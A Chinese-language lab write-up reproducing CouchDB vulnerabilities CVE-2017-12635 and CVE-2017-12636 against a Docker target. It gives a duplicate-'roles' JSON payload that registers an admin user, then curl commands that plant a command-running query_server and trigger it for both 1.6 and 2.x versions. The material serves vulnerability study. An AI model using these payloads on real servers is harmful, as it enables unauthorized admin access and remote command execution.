Apache CouchDB命令執行漏洞復現
0x00 漏洞概述
編號為CVE-2017-12636。
Apache CouchDB是一款開源資料庫,專注於易用性和成為“完全擁抱Web的資料庫”。它使用JSON作為儲存格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL型別資料庫。CouchDB預設會在5984埠開放RESTful的API介面,用於資料庫管理。
由於CouchDB自身設計原因,管理員身份可以通過HTTP(S)方式配置資料庫。在某些配置中,可以設定可執行檔案的路徑,在資料庫執行範圍內執行。
影響版本:Apache CouchDB < 1.7.0以及 < 2.1.1。
0x01 配置
CouchDB有一個query_servers
CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.
所謂外部查詢伺服器(external query server)就是個程序,與CouchDB通過標準I/O互動JSON資料。由此使用者是可以手動指定程式作為這個“程序”的。
在配置檔案local.ini中可以配置query_server
,其格式為:
[query_servers]
LANGUAGE = PATH ARGS
而預設情況下,會配置好兩個query_server
:
[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js
這種配置似乎過於開放了。如果可以更改這裡的配置,就可以利用資料庫執行命令了。
再看官方文件:
The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance.
CouchDB提供了API用以從外部修改自身配置,並把修改結果儲存到配置檔案中。
0x02 部署
使用兩臺虛擬機器。靶機為:192.168.0.108,攻擊機為:192.168.0.104。
靶機部署映象:
docker pull xavierholt/cve-2017-12636
docker run -d -p 5984:5984 xavierholt/cve-2017-12636
靶機訪問/_utils/路徑,可以看到目前是Everyone is admin的狀態,點選Fix this配置一個管理員(隨便寫,因為提權用不上)。
0x03 利用流程
訪問靶機
可以看到預設歡迎的JSON資訊,以及伺服器主機資訊。
訪問/_utils/路徑,當想要檢視_users時發現被拒絕:
當前至多隻能註冊一個普通使用者,無法獲得管理員許可權。
垂直許可權繞過
該漏洞需要依靠當初同時爆出的CVE-2017-12635提升許可權。CVE-2017-12635垂直許可權繞過漏洞來源於Erlang和JavaScript對於JSON的重複鍵解析存在差異性,下面是二者的儲存形式:
-
Erlang:
jiffy:decode('{"a":"1", "a":"2"}').
{[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
-
JavaScript:
JSON.parse('{"a":"1", "a": "2"}');
{ a: '2' }
對於給定鍵,Erlang解析器會儲存兩個值,而JavaScript只會儲存一個值。
構造Payload(用於註冊):
{
"type": "user",
"name": "vuluser1",
"roles": ["_admin"],
"roles":[],
"password": "vulnerable"
}
那麼系統的安全檢測部分(JavaScript編寫)會取到第二個roles
鍵,故判定為無害的註冊請求,放行。當這份JSON到達系統實現身份驗證和授權的部分(Erlang編寫),由於解析元件jiffy
的函式實現問題,getter
函式會僅取第一個roles
鍵,於是完成建立了一個管理員許可權的使用者。
BurpSuite抓一下注冊的包,注意PUT路徑中的使用者名稱、_id
鍵:
返回狀態碼201,建立成功!
此時使用賬戶vuluser1:vulnerable訪問/_utils/裡的_user就不會被拒絕了。
1.6.0系列
上面使用的映象版本就是1.6.0。下面用curl完成命令注入(BurpSuite也可)。
請求新增一個名為cmd
的query_server
,其值為"id >/tmp/success"
(就是實際需要執行的命令):
└─$ curl -X PUT 'http://vuluser1:[email protected]:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
""
請求新增一個名為vultest
的Database,以便在裡面執行查詢:
└─$ curl -X PUT 'http://vuluser1:[email protected]:5984/vultest'
{"ok":true}
請求新增一個名為vul
的Document,以便在裡面執行查詢:
└─$ curl -X PUT 'http://vuluser1:[email protected]:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
{"ok":true,"id":"vul","rev":"1-967a00dff5e02add41819138abb3284d"}
在這個Database裡進行查詢,language
設為了cmd
,於是會使用新新增的名為cmd
的query_server
進行查詢,最後觸發命令執行:
└─$ curl -X POST 'http://vuluser1:[email protected]:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
{"error":"EXIT","reason":"{{badmatch,{error,{bad_return_value,{os_process_error,{exit_status,0}}}}},\n [{couch_query_servers,new_process,3,\n [{file,\"couch_query_servers.erl\"},{line,477}]},\n {couch_query_servers,lang_proc,3,\n [{file,\"couch_query_servers.erl\"},{line,462}]},\n {couch_query_servers,handle_call,3,\n [{file,\"couch_query_servers.erl\"},{line,334}]},\n {gen_server,try_handle_call,4,[{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,[{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,[{file,\"proc_lib.erl\"},{line,240}]}]}"}
看到返回錯誤資訊,但是沒關係,報錯來源於執行命令之後的流程。
用靶機Docker的CLI看一下檔案:
寫入成功!
2.1.0系列
CouchDB 2.x版本引入叢集概念,所以修改配置的API路徑需要增加node名稱。
獲取node名稱:
curl http://vuluser1:[email protected]:5984/_membership
新增query_server
(增加了node路徑,如這裡使用node為nonode@nohost
):
curl -X PUT http://vuluser1:[email protected]:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/CVE-2017-12636_is_success"'
之後建立Database和Document和1.6.0系列中相同。
由於CouchDB 2.x版本刪除了_temp_view
,需要新建一個_view
。
0x04 EXP
推薦烏雲的EXP:vulhub/exp.py at master · vulhub/vulhub (github.com)。